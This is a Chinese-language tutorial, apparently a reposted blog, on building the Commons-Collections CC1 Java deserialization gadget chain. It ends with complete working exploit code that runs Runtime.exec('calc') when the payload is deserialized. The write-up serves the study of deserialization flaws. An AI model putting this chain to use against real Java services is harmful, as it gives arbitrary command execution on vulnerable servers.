当前位置: 首页 > news >正文

java反序列化commons-collections链1

文章目录

  • CC1

  • 利用条件:commons-collections 3.1-3.2.1 jdk<8u71
  • 反序列化入口类的条件:可序列化,重写readObject方法,接收任意类作为参数

CC1

配环境的路上差点猝死,第一次弄真累啊,傻逼Oracle官网,给的版本对应关系都是乱的,最后猜路径https://download.oracle.com/otn/java/jdk/8u65-b17/jdk-8u65-windows-x64.exe下到安装正版

注意这一步安装的路径不能跟之前的路径相同,否则会将之前文件夹的内容覆盖

image-20250508212050277

随后在项目结构中添加新SDK为需要的低版本jdk,并在源路径中加入src文件夹(src文件夹需要加入openjdk的sun文件夹,具体内容可自行Google

image-20250508213324583

接下来新建一个maven项目,并在pom.xml中加入依赖,加入后一般会自动下载依赖,或者用命令手动下载

<dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
</dependencies>

漏洞点出在cc依赖的Transformer接口,它的一个实现类InvokerTansformer.java可以实现反射对任意类的调用

image-20250508224307066

public class Main {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtime r = Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);}
}
//通过transform方法实现对任意方法的调用

接下来往前找,看一看什么方法调用了transform

在TransformedMap类中,checkSetvalue方法调用了transform

 protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}

需要valueTransformer的值可控为invoke那个类

所以看构造方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

是protected,就看它自己哪些类调用了,在同一个文件中找到decorate方法,假设在这里我们可以完成类的传入

     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}已经知道了构造函数怎么传参就可以尝试传入我们要的危险类
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
TransformedMap.decorateTransform(map,null,invokerTransformer);

继续看哪些类调用了checkSetValue方法,发现class类的setValue方法有所调用

    static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

那么就可以利用MapEntry的setValue方法调用checkSetValue方法,进而调用transform方法。

接下来思考怎么调用setValue方法,了解到java的hashmap是可以通过entry来访问的,所以可以通过循环调用MapEntry.setValue

  Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map=new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);}

到这里我们的链子又更长了,可以通过entry.setValue执行任意代码,我们接着向前找,如果有一个类的readObject方法调用setValue,并且参数可控的话,那岂不是就一步到位了吗

你别说,还真有那么一个类AnnotationInvocationHandler

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

membervalue可以通过构造函数传入,但是类名没有方法作用域,那就是default方法,default方法默认只能在当前包中查看,所以需要通过反射拿来类使用

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

同样构造方法也是default范围,通过反射调用

   Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor=c.getDeclaredConstructor(Override.class,Map.class);annotationConstructor.setAccessible(true);Object o=annotationConstructor.newInstance(Override.class,transformedMap);

接下来又陷入了困难,一个是Runtime不可以序列化,需要反射调用,一个是setValue我们需要控制参数,而在readObject里显然不太好控制,另外一个是在执行setValue之前需要绕过两个if判断,我们一个一个解决

反射调用类Runtime,因为虽然Runtime不可序列化,但是它的Class(类的原型)可以序列化,我们就可以利用Class这个东西搞出来一个Runtime
Class c=Runtime.class;
Method getruntimeMethod=c.getMethod("getRuntime",null);
Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
Method execMethod =c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");并改成用InvokerTransformer方法写的反射
Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);注意观察后一个类都是对前一个类的调用,有一个类ChainedTransformer恰好可以实现这样的功能
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;
}利用它再改造一下
Transformer[] transformers=new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

到这里我们不考虑绕过if判断,其实就已经打通了整条链子,从后向前回顾一下。

用ChainedTransformer封装反射的流程,只要执行ChainedTransformer.transformer()就可以调用危险函数,HashMap的setvalue方法中用了checksetvalue方法,而checksetvalue方法又调用了transformer方法,所以将ChainedTransformer放进HashMap里,调用它的setvalue方法就可以走到链子的终点,再向前走,AnnotationInvocationHandler的readObject方法调用了setvalue方法,所以将HashMap放进AnnotationInvocationHandler里,在反序列化时自动调用setvalue方法,从而走到链子的终点

public class CC1Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}
}

但是到这里我们还是不能打通,因为我们还剩下两个问题,一个是绕过if判断,一个是更改value的值,先下个断点跟到readObject里,看看它的判断逻辑

image-20250512163038782

type是你传入的注解类,第一个if判断做一件事,从你的hashmap里拿出key的值,并查找你的注解中有没有这个值,想绕过很简单,我们找一找注解里有什么值,并将它写到hashmap里即可,看一看之前的override注解

image-20250512163436326

啥也没有,换一个注解Target

image-20250512163524322

有value可用,所以我们调整一下之前的代码

map.put("value","value");

继续跟进,发现第二个if似乎不用绕,自己就过去了,那我们还剩下最后一个问题,就是setValue函数的参数必须可控,才能传入Runtime.class继续执行

这个时候用到一个神奇的类,

public Object transform(Object input) {return iConstant;
}

不管传入什么,它的transform方法都能返回一个固定的类,并且这个类还是可控的,冥冥之中自有天意啊,在chained中做一个简单的调整

Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

成功打通 !

image-20250512164129528

完整代码如下

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//反射调用Runtime的执行方法
//        Class c=Runtime.class;
//        Method getruntimeMethod=c.getMethod("getRuntime",null);
//        Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
//        Method execMethod =c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");
////利用Invoke类反射执行Runtime
//        Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);HashMap<Object,Object> map=new HashMap<>();map.put("value","value");Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);//反射调用入口点构造函数Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor=c.getDeclaredConstructor(Class.class,Map.class);annotationConstructor.setAccessible(true);Object o=annotationConstructor.newInstance(Target.class,transformedMap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}}

相关文章:

  • 魔搭社区(modelscope)和huggingface下载模型到本地的方法
  • 基于STM32、HAL库的ICP-20100气压传感器 驱动程序设计
  • 从 JIT 即时编译一直讲到CGI|FastGGI|WSGI|ASGI四种协议的实现细节
  • spdlog日志格式化 标志全指南
  • GPT系列:自然语言处理的演进与多模态的探索
  • 从规划到完善,原型标注图全流程设计
  • 2025年渗透测试面试题总结-渗透测试红队面试八(题目+回答)
  • Spring Boot 参数验证
  • MySQL性能调优探秘:我的实战笔记 (下篇:深入内核、锁与监控)
  • 基于STM32、HAL库的BME680气压传感器 驱动程序设计
  • 【题解-洛谷】B3881 [信息与未来 2015] 拴奶牛
  • 免费Office图片音频高效提取利器
  • Autoregressive Distillation of Diffusion Transformers
  • (自用)Java学习-5.8(总结,springboot)
  • css 点击后改变样式
  • SAGAR线上网页程序生成准随机结构(SQS)
  • Vue学习百日计划-Deepseek版
  • CRM和SCRM有什么区别
  • 【HTOP 使用指南】:如何理解主从线程?(以 Faster-LIO 为例)
  • 接口出现 请求参数格式错误 的解决方法
  • 中保协发布《保险机构适老服务规范》,全面规范保险机构面向老年人提供服务的统一标准
  • A股三大股指涨跌互现:银行股领涨,两市成交12915亿元
  • 福建宁德市长张永宁拟任设区市党委正职,曾获评全国优秀县委书记
  • 这一次,又被南昌“秀”到了
  • 商务部就开展打击战略矿产走私出口专项行动应询答记者问
  • 库尔德工人党决定自行解散